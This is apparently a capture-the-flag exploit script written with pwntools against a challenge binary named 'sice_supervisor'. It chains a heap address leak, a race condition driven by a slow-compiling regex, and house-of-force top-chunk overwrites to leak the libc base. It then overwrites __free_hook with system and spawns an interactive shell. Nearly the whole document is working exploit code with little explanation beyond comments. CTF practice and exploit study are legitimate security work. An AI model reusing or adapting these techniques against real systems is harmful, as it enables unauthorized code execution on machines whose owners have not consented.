exploit.py

import re
import sys
import time
from pwn import *

path = './sice_supervisor'
host = 'localhost'
port = 3000

libc = ELF('./libs/libc.so.6')

SLEEP_TIME = 3

if len(sys.argv) > 1:
    p = process(path, stderr=2)
    #p = gdb.debug(path, '''
    #    c
    #''', api=True, aslr=True)
else:
    p = remote(host, port)

def numb(num):
    return str(num).encode('ascii')

CHUNK_SIZE = 1000

def deploy():
    p.sendlineafter(b'4. Exit\n', numb(1))

def sice(i, data):
    chunks = [data[i:i+CHUNK_SIZE] for i in range(0, len(data), CHUNK_SIZE)]
    for c in chunks:
        p.sendlineafter(b'4. Exit\n', numb(2), timeout=2)
        p.sendlineafter(b'Which deet daemon do you want to sice?\n', numb(i))
        p.sendafter(b'What do you want to sice?\n', c)

def regex(i, regex):
    if isinstance(regex, str):
        regex = regex.encode('ascii')

    p.sendlineafter(b'4. Exit\n', numb(3))
    p.sendlineafter(b'Which deet daemon do you want to filter?\n', numb(i))
    p.sendafter(b"What's your filter?\n", regex)

# FIRST STAGE: obtain heap leak

# create deet daemon 0
deploy()

# add deet 0 with unsorted bin size
sice(0, b'1\n1500\n')

# add deet 1 to avoid coalescing between deet 0 chunk and top
sice(0, b'1\n24\n')

# add deet 2 to leak 0x20 tcache address later
# jk we dont use these lmao
sice(0, b'1\n24\n')

# free deet 0 into unsorted bin and allocate again to place libc address inside
sice(0, b'2\n0\n')
sice(0, b'1\n3\n')

# edit deet 0 to overwrite null byte from arena address (which is super aligned for some reason)
sice(0, f'3\n0\nAAA\x00\n'.encode('ascii'))

# get libc leak by printing deet 0
sice(0, b'4\n0\n')
p.recvuntil(b'Viewing deet\n')
leak = p.recvuntil(b'\nDone!\n', drop=True)

# process leak to obtain arena address
leak = b'\x00\x00\x00' + leak[3:]
leak = leak.ljust(8, b'\x00')
arena = u64(leak)
#libc.address = arena + (0x7f7b21800000 - 0x7f7b1c000000)

log.info(f"arena addr: 0x{arena:x}")
#log.info(f"libc addr:  0x{libc.address:x}")

#p.interactive()

# SECOND STAGE: prepare for house of force by overwriting chunk size

# add deet 3 with size 100000
sice(0, b'1\n100000\n')

# edit deet 3 to add huge string
# this will be used to fill pipe buffer and lock stdout, allowing for race condition
string = 'A' * 99000 + 'B'
sice(0, f'3\n3\n{string}\x00\n'.encode('ascii'))

# create new deet 4 which will be adjacent to top of size 0x7d0
sice(0, b'1\n1992\n')

# wait for current sices to finish
time.sleep(3 * SLEEP_TIME + 1)

# add expensive-to-compile regex to deet daemon 0
# this will take ~40 seconds to compile, which gives enough time to bypass the sleep(5)
amount = 1_700_000_000
regex(0, f'(?:){{{amount}}}')

# viewing deet 3 will trigger regex compilation
# from here, we can do ~fun race conditions~
sice(0, b'4\n3\n')
sice(0, b'4\n3\n')

# attempt to edit deet 4
# this will pause on the puts in edit_deet, since stdout is currently locked
# however, since this is after the bounds check on i, we can trick it into editing with old size
payload = b'A' * (1600 - 8) + p64(0xfffffffffffffff5)
sice(0, b'3\n4\n%b\x00\n' % payload)

# delete deet 4 and replace with smaller chunk
# this will cause edit to overflow into top size since it is using old larger size
sice(0, b'2\n4\n')
sice(0, b'1\n1592\n')

# THIRD STAGE: house of force over to next arena ptr to leak libc

p.recvuntil(b'AAAB')
log.info('Entering 3rd stage...')

top = 0x7f7a54019e30
#target = top + 0x2000
target = 0x7f7a54000880

size = ((target - top) % 2**64) - 8

# allocate deet 5 with target size to move top to right before next arena ptr
payload = b'1\n%d\n' % size
sice(0, payload)

# allocate deet 6 to obtain pointer to libc which we will leak
# we want this to be pretty large, since we don't want to corrupt what we already have
sice(0, b'1\n1784\n')

# allocate deet 7 to remove largebin entry
sice(0, b'1\n1472\n')

# leak!!!
sice(0, b'4\n6\n')
p.recvuntil(b'Viewing deet\n')
leak = p.recvuntil(b'\nDone!\n', drop=True)
leak = leak.ljust(8, b'\x00')
libc.address = u64(leak) - (0x7f5e6c3ebc40 - 0x7f5e6c000000)

log.info(f"libc base: 0x{libc.address:x}")

# --------------
# FOURTH STAGE: house of force again to overwrite free hook with system
# --------------

# create new deet 8 that is adjacent to top for coalesce
sice(0, b'1\n168\n')

# edit deet 3 again since we probably wrote a null byte into it by accident
#string = 'A' * 99000 + 'B'
#sice(0, f'3\n3\n{string}\x00\n'.encode('ascii'))

time.sleep(1 * SLEEP_TIME + 1)

# regex stuff!
amount = 1_700_000_000
regex(0, f'(?:){{{amount}}}')

# race condition!
# we are still using deet 3 for this
sice(0, b'4\n3\n')
sice(0, b'4\n3\n')

# calc house of force size
target = libc.symbols['__free_hook'] - 8
top = arena + 0xfd0
size = ((target - top) % 2**64) - 8

# attempt to edit deet 8
# this will pause on the puts in edit_deet, since stdout is currently locked
# however, since this is after the bounds check on i, we can trick it into editing with old size
payload = b'/bin/sh\x00'.ljust((80 - 8), b'B') + p64(size + 8 + libc.symbols['system'])
sice(0, b'3\n8\n%b\n' % payload)

# delete deet 8 and replace with smaller chunk
# this will cause edit to overflow into top size since it is using old larger size
sice(0, b'2\n8\n')
sice(0, b'1\n72\n')

# pause until printing unblocks
p.recvuntil(b'AAAB')

# add deet 9 with targeted size
# this will put top on free hook
payload = b'1\n%d\n' % size
sice(0, payload)

# free deet 8 to do system("/bin/sh")
sice(0, b'2\n8\n')

# execute commands!!
sice(0, b'ls')

# add deet 10 with /bin/sh string + overwriting free hook
#sice(0, b'1\n72\n')
#payload = b'/bin/sh'.ljust(24, b'\x00')
#payload += p64(libc.symbols['system'])
#payload = payload.ljust(72, b'\x00')
#sice(0, b'3\n10\n%b\n' % payload)

p.interactive()